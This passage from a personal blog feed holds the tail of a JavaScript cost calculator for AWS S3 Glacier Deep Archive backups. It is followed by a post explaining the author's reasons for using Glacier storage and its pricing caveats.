  bw_free = parseFloat(document.getElementById('calc_bw_free').value)

  size = [1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, 2048, 4096]
  sizelabels = size.map(x => (x > 1000) ? Math.floor(x / 1024) + " GB" : x + " MB")
  chunksizes = [0, 8, 16, 32, 64, 128]
  upload_data_labels = chunksizes.map(x => "Backup cost $/TB (" + x + " MB chunks)")
  upload_data_labels[0] = "Backup cost $/TB (no multipart upload)"

  storage_data = []
  upload_data= chunksizes.map(x => [])
  download1_data = []
  download2_data = []
  download3_data = []
  download4_data = []

  for (i in size) {
    data = compute2(size[i], chunksize, false)
    storage_data[i] = data[0]
    download1_data[i] = data[2]
    download2_data[i] = data[3]
    download3_data[i] = data[4]
    download4_data[i] = data[5]
    for (j in chunksizes) {
      // Inefficient, we don't technically need to recompute all costs
      data = compute2(size[i], chunksizes[j], false)
      upload_data[j][i] = data[1]
    }
  }

  for (chart of charts) {
    chart.destroy()
  }
  charts[0] = genChart('storageChart', sizelabels, ['Storage cost $/TB/month'], [storage_data])
  charts[1] = genChart('backupChart', sizelabels, [upload_data_labels[0]], [upload_data[0]])
  k = 6 // Start from 64MB size for backupChunkChart.
  charts[2] = genChart('backupChunkChart', sizelabels.slice(k, -1), upload_data_labels, upload_data.map(x => x.slice(k, -1)))
  charts[3] = genChart('restoreChart', sizelabels,
      ['Bulk restore cost $/TB', `Bulk restore cost $/TB (< ${bw_free} GB/month)`,
       'Standard restore cost $/TB', `Standard restore cost $/TB (< ${bw_free} GB/month)`
      ],
      [download1_data, download2_data, download3_data, download4_data])
}

function genChart(element, xlabels, label, data) {
  const ctx = document.getElementById(element);
  const colors = [ 'rgb(75, 192, 192)', 'rgb(192, 75, 192)', 'rgb(192, 192, 75)', 'rgb(192, 75, 75)', 'rgb(75, 192, 75)', 'rgb(75, 75, 192)']
  datasets = []
  for (i in label) {
    datasets[i] = {
        label: label[i],
        data: data[i],
        fill: false,
        borderColor: colors[i],
        tension: 0.1
      }
  }
  return new Chart(ctx, {
    type: 'line',
    data: {
      labels: xlabels,
      datasets: datasets
    },
    options: {
        scales: {
            x: { title: { display : true, text: "Average file size" } },
            y: { title: { display : true, text: "USD" } }
        }
    }
  });
}

function compute2(filesize, chunksize, show) {
  if (show)
    resultElement.innerHTML = 'ERROR'
  s3std = parseFloat(document.getElementById('calc_s3std').value)
  s3deep = parseFloat(document.getElementById('calc_s3deep').value)
  put_op = parseFloat(document.getElementById('calc_put_op').value)
  put_op_std = parseFloat(document.getElementById('calc_put_op_std').value)
  ret_bulk_op = parseFloat(document.getElementById('calc_ret_bulk_op').value)
  ret_bulk_size = parseFloat(document.getElementById('calc_ret_bulk_size').value)
  ret_std_op = parseFloat(document.getElementById('calc_ret_std_op').value)
  ret_std_size = parseFloat(document.getElementById('calc_ret_std_size').value)
  bw = parseFloat(document.getElementById('calc_bw').value)
  bw_free = parseFloat(document.getElementById('calc_bw_free').value)

  nfiles = 1024*1024 / filesize; //(1TB/MB)
  nchunks = 1024*1024 / chunksize; //(1TB/MB)
  storage1 = 1024 * s3deep; // 1TB
  storage2 = nfiles * 32 * s3deep/1024/1024;
  storage3 = nfiles * 8 * s3std/1024/1024;
  upload1 = nfiles * put_op / 1000;
  if (chunksize == 0) {
    upload2 = 0
    upload3 = 0
  } else if (chunksize >= filesize && !show) {
    upload2 = NaN
    upload3 = NaN
  } else {
    upload2 = nfiles * put_op_std / 1000; //CreateMultipartUpload
    upload3 = nchunks * put_op_std / 1000;
  }
  download1 = nfiles * ret_bulk_op / 1000;
  download1s = nfiles * ret_std_op / 1000;
  download2 = 1024 * ret_bulk_size;
  download2s = 1024 * ret_std_size;
  download3 = 1024 * s3std * 7 / 30;
  download4 = 1024 * bw;

  if (show) {
    resultElement.innerHTML = ''
    resultElement.innerHTML += `- Number of files: 1 TB / ${filesize} MB = ${nfiles}\n`;
    resultElement.innerHTML += '\nStorage:\n';
    resultElement.innerHTML += `- Actual S3 Glacier Deep data: 1 TB * $${s3deep} / GB = $${price(storage1)} / TB\n`;
    resultElement.innerHTML += `- S3 Glacier Deep overhead: ${nfiles} * 32 KB * $${s3deep} / GB = $${price(storage2)} / TB\n`;
    resultElement.innerHTML += `- S3 Standard overhead: ${nfiles} * 8 KB * $${s3deep} / GB = $${price(storage3)} / TB\n`;
    resultElement.innerHTML += `- Total cost = $${price(storage1+storage2+storage3)} / TB / month\n`;

    resultElement.innerHTML += '\nBackup/upload:\n';
    if (chunksize == 0) {
      resultElement.innerHTML += `- Operations: ${nfiles} * $${put_op} / 1000 = $${price(upload1)} / TB\n`;
    } else {
      resultElement.innerHTML += `- Number of chunks: 1 TB / ${chunksize} MB = ${nchunks}\n`;
      resultElement.innerHTML += `- Parallel uploads: ${filesize} MB / ${chunksize} MB = ${filesize/chunksize}\n`;
      resultElement.innerHTML += `- Operations: ${nfiles} * $${put_op_std} / 1000 = $${price(upload2)} / TB (CreateMultipartUpload, 1/file)\n`;
      resultElement.innerHTML += `- Operations: ${nchunks} * $${put_op_std} / 1000 = $${price(upload3)} / TB (UploadPart, 1/chunk)\n`;
      resultElement.innerHTML += `- Operations: ${nfiles} * $${put_op} / 1000 = $${price(upload1)} / TB (CompleteMultipartUpload, 1/file)\n`;
    }
    resultElement.innerHTML += `- Bandwidth: 1 TB * $0 / GB = $0\n`;
    resultElement.innerHTML += `- Total cost = $${price(upload1+upload2+upload3)} / TB\n`;

    resultElement.innerHTML += '\nRestore/download:\n';
    resultElement.innerHTML += `- Retrieval operation (bulk): ${nfiles} * $${ret_bulk_op} / 1000 = $${price(download1)} / TB\n`;
    resultElement.innerHTML += `- Retrieval per GB (bulk): 1 TB * $${ret_bulk_size} / GB = $${price(download2)} / TB\n`;
    resultElement.innerHTML += `- S3 standard storage cost (7 days): 1 TB * $${s3std} / GB * 7 / 30 = $${price(download3)} / TB\n`;
    resultElement.innerHTML += `- Bandwidth cost: 1 TB * $${bw} / GB = $${price(download4)} / TB\n`;
    resultElement.innerHTML += `- Total cost = $${price(download1+download2+download3+download4)} / TB\n`;
    resultElement.innerHTML += `  - Total cost for the first ${bw_free} GB = $${price((download1+download2+download3)/1024*bw_free)} / ${bw_free} GB\n`;
  }
  return [storage1+storage2+storage3, upload1+upload2+upload3,
      download1+download2+download3+download4, download1+download2+download3,
      download1s+download2s+download3+download4, download1s+download2s+download3]
}
</script>

<ul>
  <li>Average file size: <input id="calc_filesize" size="4" value="256" /> MB</li>
  <li>Multipart upload chunk size: <input id="calc_chunksize" size="4" value="32" /> MB</li>
  <li>Cost (prefilled with us-east-1, N. Virgnia, as of July 2024)
    <ul>
      <li>S3 Standard: $<input id="calc_s3std" size="5" value="0.023" />/GB/month</li>
      <li>S3 Glacier Deep Archive: $<input id="calc_s3deep" size="5" value="0.00099" />/GB/month</li>
      <li>PUT, COPY, POST, LIST requests (Standard): $<input id="calc_put_op_std" size="5" value="0.005" />/1000 operations</li>
      <li>PUT, COPY, POST, LIST requests (Deep Archive): $<input id="calc_put_op" size="5" value="0.05" />/1000 operations</li>
      <li>Retrieval (Deep Archive, Bulk): $<input id="calc_ret_bulk_op" size="5" value="0.025" />/1000 operations</li>
      <li>Retrieval (Deep Archive, Bulk): $<input id="calc_ret_bulk_size" size="5" value="0.0025" />/GB</li>
      <li>Retrieval (Deep Archive, Standard): $<input id="calc_ret_std_op" size="5" value="0.10" />/1000 operations</li>
      <li>Retrieval (Deep Archive, Standard): $<input id="calc_ret_std_size" size="5" value="0.025" />/GB</li>
      <li>Bandwidth: $<input id="calc_bw" size="5" value="0.09" />/GB
        <ul>
          <li>Free bandwidth: <input id="calc_bw_free" size="5" value="100" /> GB / month</li>
        </ul>
      </li>
    </ul>
  </li>
</ul>

<p><button type="button" onclick="compute()">Recompute</button>
(changing price also updates graphs above)</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>__CALCULATOR_OUTPUT__
</code></pre></div></div>]]></content><author><name>Nicolas Boichat</name></author><category term="backup" /><summary type="html"><![CDATA[There are a bunch of online articles/reddit posts that explain pricing, but I’ll redo the computation here, based on S3 calculator and my understanding.]]></summary></entry><entry><title type="html">Backup to AWS S3 Glacier Deep Archive</title><link href="https://drinkc.at/blog/2024/07/09/backup-to-glacier/" rel="alternate" type="text/html" title="Backup to AWS S3 Glacier Deep Archive" /><published>2024-07-09T12:51:35+00:00</published><updated>2024-08-15T03:10:52+00:00</updated><id>https://drinkc.at/blog/2024/07/09/backup-to-glacier</id><content type="html" xml:base="https://drinkc.at/blog/2024/07/09/backup-to-glacier/"><![CDATA[<p>While figuring out my personal backup story, handling old hard drives
that miraculously still spin up after 10 years of storage, I decided
to do some research on Glacier storage. I’m not at all an expert
in the area, but I thought I’d write this up, if only as a summary
for my future self.</p>

<p><strong>Update (August 15, 2024)</strong>: Corrected the fact that Google Cloud
does have a similar product (but it’s a little pricer).</p>

<h3 id="rationale">Rationale</h3>

<p>A lot of the data I’d like to backup is fairly old, and in all
likelihood I’ll never want to restore it.</p>

<p>I’d also like to become better at disaster recovery, by semi-regularly
backing up Google-backed content (Drive, gmail, etc.), to protect
against unlikely cases of account theft or lockdown, and generally
increase redundancy.</p>

<p>Photos storage is another complicated case, and the main reason I
started looking into this. I store all of my pictures and videos
in Google Photos. However, size keeps creeping up, and at some
point I’ll need to buy more and more storage for them. It’s handy
to be able to search through old photos, but truth is, I almost
never need the highest possible resolution. I would be fine with keeping
a lower resolution copy (e.g. “<a href="https://support.google.com/photos/answer/6220791?hl=en&amp;co=GENIE.Platform%3DAndroid#zippy=%2Cexpress">Storage Saver</a>”)
in Google photos, as long as I have a backup of the higher resolution picture somewhere. I’ll go through this use case in a future article.</p>

<p>Storing backups to (multiple) external hard drive is fine, and I did
that <em>as well</em>, but it would be nice to have a secondary copy in the
cloud in case of disaster (say, fire, flood, theft, or if an issue
happens during extended travel, where I do not have my hard drives
with me).</p>

<h3 id="amazon-s3-glacier">Amazon S3 Glacier</h3>

<p>This is where cloud “Glacier” storage kicks in. Basically, this is
a cheap class of storage class for rarely fetched files.</p>

<p>Cost-wise, Google Drive is about 10 USD/month for 2TB, but you pay
that amount regardless of actual usage, and you have to jump to a
much pricier plan if you go above 2TB. I also wanted to spread data
over multiple providers, so this is not a great option.</p>

<p>“Normal” Amazon S3 storage <a href="https://aws.amazon.com/s3/pricing/">costs</a>
about 23 USD/month/TB (us-east), charged on what you use only.</p>

<p>“Glacier Deep Archive” is about 1 USD/month/TB, so that’s about 5-20
time cheaper than alternatives. (note: I believe Microsoft Azure has a
similar product, similarly priced – Google Cloud’s is a little bit
more expensive).</p>

<p>That comes with a bunch of caveats though:</p>

<ul>
  <li>Restore process takes 12-48 hours. That’s ok for my use case, I’d
only infrequently access the data.</li>
  <li>Storing and restoring small files can be very expensive. It is much
cheaper to store large objects (e.g. larger than 256MB on average).
I’ll need to figure out a system to store photos.</li>
  <li>Unlike Google Drive, operations are charged. In particular, egress
bandwidth from cloud to Internet, during restore operations, is fairly
expensive, and dominates the costs (ingress is free).
    <ul>
      <li>Overall, it very cheap to upload to storage (~1 USD/TB for large
files).</li>
      <li>Downloading is pricy (~100 USD/TB), due to bandwidth charges.
However, Amazon gives you 100 GB of bandwidth per month for free.
If you one can stay under that, restoring can cost less than 1 USD
for those 100 GB.
        <ul>
          <li>This is also ok for me. I’m ok to pay the price in case of a
serious disaster, while being able to fetch a good number of files
for a cheap price.</li>
        </ul>
      </li>
    </ul>
  </li>
  <li>Files deleted before 180 days still get charged for 180 days. Fine by
me.</li>
</ul>

<p>In the <a href="/blog/2024/07/09/backup-to-glacier-calc/">next post</a>,
I’ll go through the details of costs (storage, backup, and restore).</p>]]></content><author><name>Nicolas Boichat</name></author><category term="backup" /><summary type="html"><![CDATA[While figuring out my personal backup story, handling old hard drives that miraculously still spin up after 10 years of storage, I decided to do some research on Glacier storage. I’m not at all an expert in the area, but I thought I’d write this up, if only as a summary for my future self.]]></summary></entry></feed>